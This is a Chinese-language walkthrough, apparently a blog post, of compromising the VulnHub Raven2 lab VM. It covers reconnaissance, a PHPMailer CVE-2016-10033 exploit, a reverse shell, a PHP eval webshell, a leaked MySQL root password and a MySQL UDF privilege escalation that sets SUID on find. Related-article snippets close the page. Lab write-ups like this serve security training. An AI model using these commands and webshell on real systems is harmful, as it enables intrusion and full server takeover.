当前位置: 首页 > news >正文

vulnhub raven2复现

1.扫描全网段,找出了存活主机ip为192.168.85.144

nmap 192.168.85.0/24

2.nmap扫描端口

nmap -p1-65535 192.168.85.144

3.访问此网站,没找到什么地方可以利用漏洞 ,查看中间件为wordpress

 

 

4.使用dirb对该网站进行目录扫描

dirb http://192.168.85.144/

 

5.访问扫描出的目录,找几个重要的目录访问,如/vendor,发现了目录遍历,/wordpress/wp-admin/,访问失败做了页面跳转,跳转到raven.local

6.查看文件内容发现网站根路径,版本,phpmailer推测改版本可能为phpmailer的版本,phpmailer是php用来发邮件的一个组件

7.搜索是否有漏洞,可以用msf,也可以用搜索引擎,搜出有远程代码执行漏洞(cve2016-10033),这个可能性大一些

searchsploit是一个用于Exploit-DB的命令行搜索工具

searchsploit phpmailer

 

8.寻找对应的exp,进行漏洞利用,msf自带的exp失败;或在网上下载exp使用;使用40974.py进行攻击,修改40974.py脚本的内容,其他exp 40968.sh失败还有几个py脚本也失败

msf的exp

使用第0个:

use 0
set rhosts 192.168.85.144
set web_root  /var/www/html
set target_uri  /contact.php
show options 
run

要访问对应生成的文件

 

利用40974.py:

位置:/usr/share/exploitdb/exploits/php/webapps/40974.py

find / -name '40974.py'   #找位置
cd /tmp
cp /usr/share/exploitdb/exploits/php/webapps/40974.py ./40974.py  #复制
vim 40974.py

要改的几个位置

最上面编码改一下

target目标ip改一下,利用的contact.php

后门改一下

反弹ip和端口改一下

根目录改一下

 运行,攻击机监听本地端口

python 40974.py
pip install requests_toolbelt  #可能需要安装此模块
nc -lvnp 5544

9.访问网站的contact.php,在访问后门文件,成功返回shell会话

python -c "import pty;pty.spawn('/bin/bash')" #构建交互式shell

10.寻找可利用的文件,进入到wordpress目录,找配置文件,看一下有没有数据库连接配置

发现root账号密码

 账号:root

密码:R@v3nSecurity

11.查看端口,看一下mysql服务是否开启,nmap扫端口没扫出来,是开启状态

netstat -anpt

 尝试登录,查看数据

mysql -uroot -pR@v3nSecurity
show databases;
use wordpress;
show tables;
select * from wp_users;

找一下是否有加密的可执行文件 

find / -name 'pass*'

找到可疑文件,但是执行不了,还有一个就是后台地址被重定向了,需要改host文件

 

 

 

 

 写一个一句话木马,方便上传文件

echo '<?php @eval($_POST[1])?>' > 1.php

蚁剑连接:

 上传脚本linux-exploit-suggester进行检测是否存有漏洞

几个比较高危的内核漏洞:

CVE-2016-5195(脏牛)

CVE-2021-4034(Polkit)

CVE-2021-3156(SUDO)

CVE-2022-0847(脏管道)

 发现有脏牛和sudo提权,尝试使用对应的exp进行攻击

脏牛提权是c++文件无法编译,g++没有,用kali编译后上传运行也失败,sudo提权失败,版本为1.8.10不符合漏洞版本

定时任务覆盖不行,权限不够 

suid提权不行没找到对应的命令

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

 linux提权的方法基本上都用过了,所以考虑mysql提权,知道了root账号和密码

1.mysql手动提权:

下载对应的exp

wget https://www.exploit-db.com/download/1518
或手动下载

手工下载的,生成了rapator_udf.so,目标靶机上编译失败,是在kali2022.1上编译的

gcc -g -c 1518.c
gcc -g -shared -o raptor_udf.so raptor_udf.o -lc

用蚁剑把文件传到目标主机

mysql-u root -p
R@v3nSecurity
use mysql;
create table foo(line blob);
insert into foo values(load_file('raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
#创建sys_eval函数调用
create function sys_eval returns integer soname 'raptor_udf2.so';
select * from mysql.func;         
select sys_eval('chmod u+s /usr/bin/find');

在利用find提权

find 1.zip -exec /bin/sh \;

成功提权

 

 

2.Multiple.Database.Utilization.Tools-2.1.1自动化提权:

mysql默认关闭外联,开启后还是不能成功连接

GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'R@v3nSecurity' WITH GRANT OPTION;
flush privileges;

数据库开启了连接,应该是防火墙拦截了,外部连不上,就让里面出来

建立http隧道,让里面出来,上传冰蝎的木马,连接上,使用冰蝎建立http隧道

 目标ip为什么是127.0.0.1,是因为用的webshell连接上了,所以是127.0.0.1,本地监听端口是8000

工具使用提权:

 点udf提权即可成功

 

参考文章:

(20条消息) Raven 2 靶机渗透_Micr067的博客-CSDN博客icon-default.png?t=N176https://blog.csdn.net/weixin_41082546/article/details/100054977VulnHub-Raven: 2 靶场渗透测试 - FreeBuf网络安全行业门户icon-default.png?t=N176https://www.freebuf.com/articles/web/261047.html 

相关文章:

vulnhub raven2复现

1.扫描全网段&#xff0c;找出了存活主机ip为192.168.85.144 nmap 192.168.85.0/24 2.nmap扫描端口 nmap -p1-65535 192.168.85.144 3.访问此网站&#xff0c;没找到什么地方可以利用漏洞 &#xff0c;查看中间件为wordpress 4.使用dirb对该网站进行目录扫描 dirb http://1…...

LeetCode 剑指 Offer II 079. 所有子集

给定一个整数数组 nums &#xff0c;数组中的元素 互不相同 。返回该数组所有可能的子集&#xff08;幂集&#xff09;。 解集 不能 包含重复的子集。你可以按 任意顺序 返回解集。 示例 1&#xff1a; 输入&#xff1a;nums [1,2,3] 输出&#xff1a;[[],[1],[2],[1,2],[3…...

打印名片-课后程序(Python程序开发案例教程-黑马程序员编著-第二章-课后作业)

实例3&#xff1a;文本进度条 进度条以动态方式实时显示计算机处理任务时的进度&#xff0c;它一般由已完成任务量与剩余未完成任务量的大小组成。本实例要求编写程序&#xff0c;实现图1所示的进度条动态显示的效果。 下载中下载完成图1文本进度条 实例分析 在本实例中可以将…...

为什么我们在判断字符串不为null后还要判断字符串长度大于0?

我们在做字符串判断时一般会&#xff1a; if (s ! null && s.length() > 0) {} 但是我就在想&#xff0c;字符串不为空了&#xff0c;那么他一定有值&#xff0c;字符串长度不就大于0吗&#xff0c;所以s.length()>0是不是有点多余&#xff1f; 我的思维误区是…...

javaEE 初阶 — 应用层中的 DNS 协议(域名解析系统)

文章目录什么是域名1. 如何建立 域名 与 IP 的对应关系2. 域名的分级什么是域名 域名也就是平常所说的网址&#xff0c;比如 www.baidu.com。 其实网络上的服务器要访问这个网址&#xff0c;需要的是 IP 地址。、 但是 IP 地址比较拗口不方便记忆&#xff0c;于是就有使用一些…...

【网络】-- 网络编程套接字(铺垫、预备)

目录 理解源IP地址和目的IP地址 认识端口号 端口号 理解源端口号和目的端口号 套接字 认识TCP与UDP协议 网络字节序 socket编程接口 socket 常见API sockaddr结构 理解源IP地址和目的IP地址 就如同我们唐僧的取经路&#xff1a; 唐僧的出发地到目的地&#xff1a;东…...

一文打通@SentinelResource

Sentinel 提供了 SentinelResource 注解用于定义资源&#xff0c;并提供了 AspectJ 的扩展用于自动定义资源、处理 BlockException 等 如果使用的是Sentinel Annotation AspectJ Extension&#xff0c;需要导这个依赖 <dependency><groupId>com.alibaba.csp</…...

苹果手机备份的文件在电脑什么地方 苹果备份文件怎么查看

在这个网络信息时代&#xff0c;为手机进行定期备份已经成为了家常便饭。在使用备份软件对苹果手机进行备份后&#xff0c;苹果手机备份的文件在什么地方&#xff0c;苹果备份文件怎么查看呢&#xff1f;本文就带大家来了解一下。 一、苹果手机备份的文件在电脑什么地方 大家…...

【MySQL速通篇001】5000字超详细介绍MySQL部分重要知识点

&#x1f340; 写在前面 这篇5000多字博客也花了我几天的时间&#x1f602;&#xff0c;主要是我对MySQL一部分重要知识点的理解【后面当然还会写博客补充噻&#xff0c;欢迎关注我哟】&#xff0c;当然这篇文章可能也会有不恰当的地方【毕竟也写了这么多字&#xff0c;错别字可…...

并发编程——synchronized优化原理

如果有兴趣了解更多相关内容&#xff0c;欢迎来我的个人网站看看&#xff1a;耶瞳空间 一&#xff1a;基本概念 使用synchronized实现线程同步&#xff0c;即加锁&#xff0c;实现的是悲观锁。加锁可以使一段代码在同一时间只有一个线程可以访问&#xff0c;在增加安全性的同…...

LeetCode 剑指 Offer II 083. 没有重复元素集合的全排列

给定一个不含重复数字的整数数组 nums &#xff0c;返回其 所有可能的全排列 。可以 按任意顺序 返回答案。 示例 1&#xff1a; 输入&#xff1a;nums [1,2,3] 输出&#xff1a;[[1,2,3],[1,3,2],[2,1,3],[2,3,1],[3,1,2],[3,2,1]] 1 < nums.length < 6 -10 < nu…...

JSONObject与JSONArray使用区别

目录 1.使用的场景区别 2. 使用方法区别 3.获取方式不同 4. 解析JSON字符串 5.总结 1.使用的场景区别 想通过键值对的形式获取数据&#xff0c;使用JSONObject。如果后台查询的是某个bean的list集合向前端页面传递&#xff0c;使用JSONArray。 2. 使用方法区别 创建方法不…...

经典C程序例程:通过进程ID得到文件名

通过进程ID得到文件名 #include <stdio.h> #include <windows.h> #include <tlhelp32.h> #include <tchar.h>BOOL EnablePrivilege(HANDLE hToken,LPCSTR szPrivName); void DispProcess(void); void DispPrsFile(void);// typedef BOOL (_stdcall *E…...

【Java】Spring MVC程序开发

文章目录Spring MVC程序开发1. 什么是Spring MVC&#xff1f;1.1 MVC定义1.2 MVC 和 Spring MVC 的关系2. 为什么学习Spring MVC&#xff1f;3. 怎么学习Spring MVC&#xff1f;3.1 Spring MVC的创建和连接3.1.1 创建Spring MVC项目3.1.2 RequestMapping 注解介绍3.1.3 Request…...

leetcode题解-704. 二分查找

给定一个 n 个元素有序的&#xff08;升序&#xff09;整型数组 nums 和一个目标值 target &#xff0c;写一个函数搜索 nums 中的 target&#xff0c;如果目标值存在返回下标&#xff0c;否则返回 -1。 示例 1: 输入: nums [-1,0,3,5,9,12], target 9 输出: 4 解释: 9 出现…...

2.2 C语言程序的错误条件

在C语言程序中,条件语句决定程序的执行路径,因此条件表达式是程序的关键。 应用最经典的程序,除法的减法实现程序,解释条件表达式的重要性。x=y*q+r,x是被除数,y是除数,q是商,r是余数。 程序的方法, x=(r-y)+y*(1+q)。 main(){ /*错误条件的程序*/ r:=x; q:=0; whil…...

laravel 邮件发送

配置 Laravel 的邮件服务可以通过 config/mail.php 配置文件进行配置。 邮件中的每一项都在配置文件中有单独的配置项&#xff0c;甚至是独有的「传输方式」&#xff0c;允许你的应用使用不同的邮件服务发送邮件 mailers > [smtp > [transport > smtp,host > env(M…...

高性能 Jsonpath 框架,Snack3 3.2.57 发布

Snack3&#xff0c;一个高性能的 JsonPath 框架 借鉴了 Javascript 所有变量由 var 申明&#xff0c;及 Xml dom 一切都是 Node 的设计。其下一切数据都以ONode表示&#xff0c;ONode也即 One node 之意&#xff0c;代表任何类型&#xff0c;也可以转换为任何类型。 强调文档…...

Android---进程间通信机制3

1 服务如何注册到 SM 中 getIServiceManager().addService(name, service, false); getIServiceManger --- new ServiceManagerProxy(new BinderProxy()) BinderInternal.getContextObject --- 返回 BinderProxy 对象 ProcessState::self()->getContextObject: 创建一个 BpB…...

Python实战,爬取金融期货数据

大家好&#xff0c;我是毕加锁。 今天给大家带来的是 Python实战&#xff0c;爬取金融期货数据 文末送书&#xff01; 文末送书&#xff01; 文末送书&#xff01; 任务简介 首先&#xff0c;客户原需求是获取https://hq.smm.cn/copper网站上的价格数据(注&#xff1a;获取的是…...

【根据当天日期输出明天的日期(需对闰年做判定)。】2022-5-15

缘由根据当天日期输出明天的日期(需对闰年做判定)。日期类型结构体如下&#xff1a; struct data{ int year; int month; int day;};-编程语言-CSDN问答 struct mdata{ int year; int month; int day; }mdata; int 天数(int year, int month) {switch (month){case 1: case 3:…...

鸿蒙中用HarmonyOS SDK应用服务 HarmonyOS5开发一个医院挂号小程序

一、开发准备 ​​环境搭建​​&#xff1a; 安装DevEco Studio 3.0或更高版本配置HarmonyOS SDK申请开发者账号 ​​项目创建​​&#xff1a; File > New > Create Project > Application (选择"Empty Ability") 二、核心功能实现 1. 医院科室展示 /…...

【Go】3、Go语言进阶与依赖管理

前言 本系列文章参考自稀土掘金上的 【字节内部课】公开课&#xff0c;做自我学习总结整理。 Go语言并发编程 Go语言原生支持并发编程&#xff0c;它的核心机制是 Goroutine 协程、Channel 通道&#xff0c;并基于CSP&#xff08;Communicating Sequential Processes&#xff0…...

【Web 进阶篇】优雅的接口设计:统一响应、全局异常处理与参数校验

系列回顾&#xff1a; 在上一篇中&#xff0c;我们成功地为应用集成了数据库&#xff0c;并使用 Spring Data JPA 实现了基本的 CRUD API。我们的应用现在能“记忆”数据了&#xff01;但是&#xff0c;如果你仔细审视那些 API&#xff0c;会发现它们还很“粗糙”&#xff1a;有…...

pikachu靶场通关笔记22-1 SQL注入05-1-insert注入(报错法)

目录 一、SQL注入 二、insert注入 三、报错型注入 四、updatexml函数 五、源码审计 六、insert渗透实战 1、渗透准备 2、获取数据库名database 3、获取表名table 4、获取列名column 5、获取字段 本系列为通过《pikachu靶场通关笔记》的SQL注入关卡(共10关&#xff0…...

CVE-2020-17519源码分析与漏洞复现(Flink 任意文件读取)

漏洞概览 漏洞名称&#xff1a;Apache Flink REST API 任意文件读取漏洞CVE编号&#xff1a;CVE-2020-17519CVSS评分&#xff1a;7.5影响版本&#xff1a;Apache Flink 1.11.0、1.11.1、1.11.2修复版本&#xff1a;≥ 1.11.3 或 ≥ 1.12.0漏洞类型&#xff1a;路径遍历&#x…...

PAN/FPN

import torch import torch.nn as nn import torch.nn.functional as F import mathclass LowResQueryHighResKVAttention(nn.Module):"""方案 1: 低分辨率特征 (Query) 查询高分辨率特征 (Key, Value).输出分辨率与低分辨率输入相同。"""def __…...

【分享】推荐一些办公小工具

1、PDF 在线转换 https://smallpdf.com/cn/pdf-tools 推荐理由&#xff1a;大部分的转换软件需要收费&#xff0c;要么功能不齐全&#xff0c;而开会员又用不了几次浪费钱&#xff0c;借用别人的又不安全。 这个网站它不需要登录或下载安装。而且提供的免费功能就能满足日常…...

SQL慢可能是触发了ring buffer

简介 最近在进行 postgresql 性能排查的时候,发现 PG 在某一个时间并行执行的 SQL 变得特别慢。最后通过监控监观察到并行发起得时间 buffers_alloc 就急速上升,且低水位伴随在整个慢 SQL,一直是 buferIO 的等待事件,此时也没有其他会话的争抢。SQL 虽然不是高效 SQL ,但…...

群晖NAS如何在虚拟机创建飞牛NAS

套件中心下载安装Virtual Machine Manager 创建虚拟机 配置虚拟机 飞牛官网下载 https://iso.liveupdate.fnnas.com/x86_64/trim/fnos-0.9.2-863.iso 群晖NAS如何在虚拟机创建飞牛NAS - 个人信息分享...